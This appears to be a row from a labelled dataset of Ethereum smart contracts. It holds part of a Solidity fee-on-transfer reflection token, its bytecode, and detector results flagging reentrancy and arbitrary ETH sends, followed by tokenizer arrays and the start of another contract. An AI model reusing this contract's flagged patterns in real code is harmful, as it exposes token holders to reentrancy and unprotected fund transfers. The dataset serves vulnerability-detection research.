function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee.add(_marketingFee)).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousMarketingFee = _marketingFee;
_taxFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
if (_marketingFee + _liquidityFee == 0)
return;
uint256 toMarketing = contractTokenBalance.mul(_marketingFee).div(_marketingFee.add(_liquidityFee));
uint256 toLiquify = contractTokenBalance.sub(toMarketing);
// split the contract balance into halves
uint256 half = toLiquify.div(2);
uint256 otherHalf = toLiquify.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
uint256 toSwapForEth = half.add(toMarketing);
swapTokensForEth(toSwapForEth);
// how much ETH did we just swap into?
uint256 fromSwap = address(this).balance.sub(initialBalance);
uint256 liquidityBalance = fromSwap.mul(half).div(toSwapForEth);
addLiquidity(otherHalf, liquidityBalance);
emit SwapAndLiquify(half, liquidityBalance, otherHalf);
_marketingWallet.transfer(fromSwap.sub(liquidityBalance));
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
burnAddress,
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | 0x60806040526004361061024a5760003560e01c80635342acb41161013957806395d89b41116100b6578063c49b9a801161007a578063c49b9a801461081a578063d543dbeb14610846578063dd46706414610870578063dd62ed3e1461089a578063ea2f0b37146108d5578063f2fde38b1461090857610251565b806395d89b4114610769578063a457c2d71461077e578063a69df4b5146107b7578063a9059cbb146107cc578063b6c523241461080557610251565b8063715018a6116100fd578063715018a6146106cd5780637d1db4a5146106e257806388f82020146106f75780638da5cb5b1461072a5780638ee88c531461073f57610251565b80635342acb41461060a5780635d098b381461063d5780636bc87c3a1461067057806370a082311461068557806370d5ae05146106b857610251565b80633685d419116101c75780634549b0391161018b5780634549b03914610551578063457c194c1461058357806349bd5a5e146105ad5780634a74bb02146105c257806352390c02146105d757610251565b80633685d4191461047357806339509351146104a65780633b124fe7146104df5780633bd5d173146104f4578063437823ec1461051e57610251565b806318160ddd1161020e57806318160ddd146103b157806322976e0d146103c657806323b872dd146103db5780632d8381191461041e578063313ce5671461044857610251565b8063061c82d01461025657806306fdde0314610282578063095ea7b31461030c57806313114a9d146103595780631694505e1461038057610251565b3661025157005b600080fd5b34801561026257600080fd5b506102806004803603602081101561027957600080fd5b503561093b565b005b34801561028e57600080fd5b50610297610998565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102d15781810151838201526020016102b9565b50505050905090810190601f1680156102fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031857600080fd5b506103456004803603604081101561032f57600080fd5b506001600160a01b038135169060200135610a2e565b604080519115158252519081900360200190f35b34801561036557600080fd5b5061036e610a4c565b60408051918252519081900360200190f35b34801561038c57600080fd5b50610395610a52565b604080516001600160a01b039092168252519081900360200190f35b3480156103bd57600080fd5b5061036e610a76565b3480156103d257600080fd5b5061036e610a7c565b3480156103e757600080fd5b50610345600480360360608110156103fe57600080fd5b506001600160a01b03813581169160208101359091169060400135610a82565b34801561042a57600080fd5b5061036e6004803603602081101561044157600080fd5b5035610b09565b34801561045457600080fd5b5061045d610b6b565b6040805160ff9092168252519081900360200190f35b34801561047f57600080fd5b506102806004803603602081101561049657600080fd5b50356001600160a01b0316610b74565b3480156104b257600080fd5b50610345600480360360408110156104c957600080fd5b506001600160a01b038135169060200135610d35565b3480156104eb57600080fd5b5061036e610d83565b34801561050057600080fd5b506102806004803603602081101561051757600080fd5b5035610d89565b34801561052a57600080fd5b506102806004803603602081101561054157600080fd5b50356001600160a01b0316610e63565b34801561055d57600080fd5b5061036e6004803603604081101561057457600080fd5b50803590602001351515610edf565b34801561058f57600080fd5b50610280600480360360208110156105a657600080fd5b5035610f71565b3480156105b957600080fd5b50610395610fce565b3480156105ce57600080fd5b50610345610ff2565b3480156105e357600080fd5b50610280600480360360208110156105fa57600080fd5b50356001600160a01b0316611002565b34801561061657600080fd5b506103456004803603602081101561062d57600080fd5b50356001600160a01b0316611188565b34801561064957600080fd5b506102806004803603602081101561066057600080fd5b50356001600160a01b03166111a6565b34801561067c57600080fd5b5061036e611279565b34801561069157600080fd5b5061036e600480360360208110156106a857600080fd5b50356001600160a01b031661127f565b3480156106c457600080fd5b506103956112e1565b3480156106d957600080fd5b506102806112f0565b3480156106ee57600080fd5b5061036e611380565b34801561070357600080fd5b506103456004803603602081101561071a57600080fd5b50356001600160a01b0316611386565b34801561073657600080fd5b506103956113a4565b34801561074b57600080fd5b506102806004803603602081101561076257600080fd5b50356113b3565b34801561077557600080fd5b50610297611410565b34801561078a57600080fd5b50610345600480360360408110156107a157600080fd5b506001600160a01b038135169060200135611471565b3480156107c357600080fd5b506102806114d9565b3480156107d857600080fd5b50610345600480360360408110156107ef57600080fd5b506001600160a01b0381351690602001356115c7565b34801561081157600080fd5b5061036e6115db565b34801561082657600080fd5b506102806004803603602081101561083d57600080fd5b503515156115e1565b34801561085257600080fd5b506102806004803603602081101561086957600080fd5b503561168c565b34801561087c57600080fd5b506102806004803603602081101561089357600080fd5b503561170a565b3480156108a657600080fd5b5061036e600480360360408110156108bd57600080fd5b506001600160a01b03813581169160200135166117a8565b3480156108e157600080fd5b50610280600480360360208110156108f857600080fd5b50356001600160a01b03166117d3565b34801561091457600080fd5b506102806004803603602081101561092b57600080fd5b50356001600160a01b031661184c565b610943611932565b6000546001600160a01b03908116911614610993576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b600f55565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a245780601f106109f957610100808354040283529160200191610a24565b820191906000526020600020905b815481529060010190602001808311610a0757829003601f168201915b5050505050905090565b6000610a42610a3b611932565b8484611936565b5060015b92915050565b600b5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60095490565b60135481565b6000610a8f848484611a22565b610aff84610a9b611932565b610afa85604051806060016040528060288152602001612b84602891396001600160a01b038a16600090815260056020526040812090610ad9611932565b6001600160a01b031681526020810191909152604001600020549190611c71565b611936565b5060019392505050565b6000600a54821115610b4c5760405162461bcd60e51b815260040180806020018281038252602a815260200180612ac9602a913960400191505060405180910390fd5b6000610b56611d08565b9050610b628382611d2b565b9150505b919050565b600e5460ff1690565b610b7c611932565b6000546001600160a01b03908116911614610bcc576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16610c39576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600854811015610d3157816001600160a01b031660088281548110610c5d57fe5b6000918252602090912001546001600160a01b03161415610d2957600880546000198101908110610c8a57fe5b600091825260209091200154600880546001600160a01b039092169183908110610cb057fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610d0257fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610d31565b600101610c3c565b5050565b6000610a42610d42611932565b84610afa8560056000610d53611932565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611d74565b600f5481565b6000610d93611932565b6001600160a01b03811660009081526007602052604090205490915060ff1615610dee5760405162461bcd60e51b815260040180806020018281038252602c815260200180612c5e602c913960400191505060405180910390fd5b6000610df983611dce565b505050506001600160a01b038416600090815260036020526040902054919250610e2591905082611e1d565b6001600160a01b038316600090815260036020526040902055600a54610e4b9082611e1d565b600a55600b54610e5b9084611d74565b600b55505050565b610e6b611932565b6000546001600160a01b03908116911614610ebb576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600954831115610f38576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610f57576000610f4884611dce565b50939550610a46945050505050565b6000610f6284611dce565b50929550610a46945050505050565b610f79611932565b6000546001600160a01b03908116911614610fc9576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b601355565b7f000000000000000000000000e8629b802c50e07884b1a34e563c4ccdbea42fe181565b601654600160a81b900460ff1681565b61100a611932565b6000546001600160a01b0390811691161461105a576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16156110c8576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526003602052604090205415611122576001600160a01b03811660009081526003602052604090205461110890610b09565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b6111ae611932565b6000546001600160a01b039081169116146111fe576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b6016546001600160a01b0382811691161415611257576040805162461bcd60e51b815260206004820152601360248201527257616c6c657420616c7265616479207365742160681b604482015290519081900360640190fd5b601680546001600160a01b0319166001600160a01b0392909216919091179055565b60115481565b6001600160a01b03811660009081526007602052604081205460ff16156112bf57506001600160a01b038116600090815260046020526040902054610b66565b6001600160a01b038216600090815260036020526040902054610a4690610b09565b6015546001600160a01b031681565b6112f8611932565b6000546001600160a01b03908116911614611348576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020612bcc833981519152908390a3600080546001600160a01b0319169055565b60175481565b6001600160a01b031660009081526007602052604090205460ff1690565b6000546001600160a01b031690565b6113bb611932565b6000546001600160a01b0390811691161461140b576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b601155565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a245780601f106109f957610100808354040283529160200191610a24565b6000610a4261147e611932565b84610afa85604051806060016040528060258152602001612cad60259139600560006114a8611932565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611c71565b6001546001600160a01b031633146115225760405162461bcd60e51b8152600401808060200182810382526023815260200180612c8a6023913960400191505060405180910390fd5b6002544211611578576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b039384169390911691600080516020612bcc83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a426115d4611932565b8484611a22565b60025490565b6115e9611932565b6000546001600160a01b03908116911614611639576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b60168054821515600160a81b810260ff60a81b199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b611694611932565b6000546001600160a01b039081169116146116e4576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b61170460646116fe83600954611e5f90919063ffffffff16565b90611d2b565b60175550565b611712611932565b6000546001600160a01b03908116911614611762576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b038416179091551681554282016002556040518190600080516020612bcc833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6117db611932565b6000546001600160a01b0390811691161461182b576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b611854611932565b6000546001600160a01b039081169116146118a4576040805162461bcd60e51b81526020600482018190526024820152600080516020612bac833981519152604482015290519081900360640190fd5b6001600160a01b0381166118e95760405162461bcd60e51b8152600401808060200182810382526026815260200180612af36026913960400191505060405180910390fd5b600080546040516001600160a01b0380851693921691600080516020612bcc83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b03831661197b5760405162461bcd60e51b8152600401808060200182810382526024815260200180612c3a6024913960400191505060405180910390fd5b6001600160a01b0382166119c05760405162461bcd60e51b8152600401808060200182810382526022815260200180612b196022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611a675760405162461bcd60e51b8152600401808060200182810382526025815260200180612c156025913960400191505060405180910390fd5b6001600160a01b038216611aac5760405162461bcd60e51b8152600401808060200182810382526023815260200180612aa66023913960400191505060405180910390fd5b60008111611aeb5760405162461bcd60e51b8152600401808060200182810382526029815260200180612bec6029913960400191505060405180910390fd5b611af36113a4565b6001600160a01b0316836001600160a01b031614158015611b2d5750611b176113a4565b6001600160a01b0316826001600160a01b031614155b15611b7357601754811115611b735760405162461bcd60e51b8152600401808060200182810382526028815260200180612b3b6028913960400191505060405180910390fd5b6000611b7e3061127f565b90506017548110611b8e57506017545b60185481108015908190611bac5750601654600160a01b900460ff16155b8015611bea57507f000000000000000000000000e8629b802c50e07884b1a34e563c4ccdbea42fe16001600160a01b0316856001600160a01b031614155b8015611bff5750601654600160a81b900460ff165b15611c12576018549150611c1282611eb8565b6001600160a01b03851660009081526006602052604090205460019060ff1680611c5457506001600160a01b03851660009081526006602052604090205460ff165b15611c5d575060005b611c698686868461200f565b505050505050565b60008184841115611d005760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cc5578181015183820152602001611cad565b50505050905090810190601f168015611cf25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611d15612183565b9092509050611d248282611d2b565b9250505090565b6000611d6d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122e6565b9392505050565b600082820183811015611d6d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000611de58a61234b565b9250925092506000806000611e038d8686611dfe611d08565b61238d565b919f909e50909c50959a5093985091965092945050505050565b6000611d6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c71565b600082611e6e57506000610a46565b82820282848281611e7b57fe5b0414611d6d5760405162461bcd60e51b8152600401808060200182810382526021815260200180612b636021913960400191505060405180910390fd5b6016805460ff60a01b1916600160a01b17905560115460135401611edb57611fff565b6000611f05611ef7601154601354611d7490919063ffffffff16565b6013546116fe908590611e5f565b90506000611f138383611e1d565b90506000611f22826002611d2b565b90506000611f308383611e1d565b9050476000611f3f8487611d74565b9050611f4a816123dd565b6000611f564784611e1d565b90506000611f68836116fe8489611e5f565b9050611f7485826125ec565b604080518781526020810183905280820187905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a16016546001600160a01b03166108fc611fcd8484611e1d565b6040518115909202916000818181858888f19350505050158015611ff5573d6000803e3d6000fd5b5050505050505050505b506016805460ff60a01b19169055565b8061201c5761201c6126d3565b6001600160a01b03841660009081526007602052604090205460ff16801561205d57506001600160a01b03831660009081526007602052604090205460ff16155b156120725761206d84848461271c565b612170565b6001600160a01b03841660009081526007602052604090205460ff161580156120b357506001600160a01b03831660009081526007602052604090205460ff165b156120c35761206d848484612840565b6001600160a01b03841660009081526007602052604090205460ff1615801561210557506001600160a01b03831660009081526007602052604090205460ff16155b156121155761206d8484846128e9565b6001600160a01b03841660009081526007602052604090205460ff16801561215557506001600160a01b03831660009081526007602052604090205460ff165b156121655761206d84848461292d565b6121708484846128e9565b8061217d5761217d6129a0565b50505050565b600a546009546000918291825b6008548110156122b4578260036000600884815481106121ac57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061221157508160046000600884815481106121ea57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561222857600a54600954945094505050506122e2565b612268600360006008848154811061223c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e1d565b92506122aa600460006008848154811061227e57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e1d565b9150600101612190565b50600954600a546122c491611d2b565b8210156122dc57600a546009549350935050506122e2565b90925090505b9091565b600081836123355760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611cc5578181015183820152602001611cad565b50600083858161234157fe5b0495945050505050565b60008060008061235a856129b4565b90506000612367866129d0565b9050600061237f826123798986611e1d565b90611e1d565b979296509094509092505050565b600080808061239c8886611e5f565b905060006123aa8887611e5f565b905060006123b88888611e5f565b905060006123ca826123798686611e1d565b939b939a50919850919650505050505050565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061240b57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561248457600080fd5b505afa158015612498573d6000803e3d6000fd5b505050506040513d60208110156124ae57600080fd5b50518151829060019081106124bf57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061250a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611936565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156125af578181015183820152602001612597565b505050509050019650505050505050600060405180830381600087803b1580156125d857600080fd5b505af1158015611c69573d6000803e3d6000fd5b612617307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611936565b6015546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0392831660848201524260a482015290517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d71991849160c480830192606092919082900301818588803b1580156126a857600080fd5b505af11580156126bc573d6000803e3d6000fd5b50505050506040513d606081101561217d57600080fd5b600f541580156126e35750601154155b80156126ef5750601354155b156126f95761271a565b600f8054601055601180546012556013805460145560009283905590829055555b565b60008060008060008061272e87611dce565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506127609088611e1d565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461278f9087611e1d565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546127be9086611d74565b6001600160a01b0389166000908152600360205260409020556127e0816129f8565b6127ea8483612a81565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061285287611dce565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506128849087611e1d565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546128ba9084611d74565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546127be9086611d74565b6000806000806000806128fb87611dce565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061278f9087611e1d565b60008060008060008061293f87611dce565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506129719088611e1d565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546128849087611e1d565b601054600f55601254601155601454601355565b6000610a4660646116fe600f5485611e5f90919063ffffffff16565b6000610a4660646116fe6129f1601354601154611d7490919063ffffffff16565b8590611e5f565b6000612a02611d08565b90506000612a108383611e5f565b30600090815260036020526040902054909150612a2d9082611d74565b3060009081526003602090815260408083209390935560079052205460ff1615612a7c5730600090815260046020526040902054612a6b9084611d74565b306000908152600460205260409020555b505050565b600a54612a8e9083611e1d565b600a55600b54612a9e9082611d74565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220442ad11b7d37c651279a6fe528e8648193cfe1396e67d6c7429f8e5b5a18ec4764736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2050,
27814,
21486,
2692,
20842,
2497,
2692,
7011,
2475,
2546,
21619,
2620,
2063,
16703,
2683,
21926,
2475,
2063,
24096,
2278,
2683,
2050,
22907,
2278,
23632,
10322,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,571 | 0x955ac81acd698cf0adbe1d2816d890107f9b832b | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
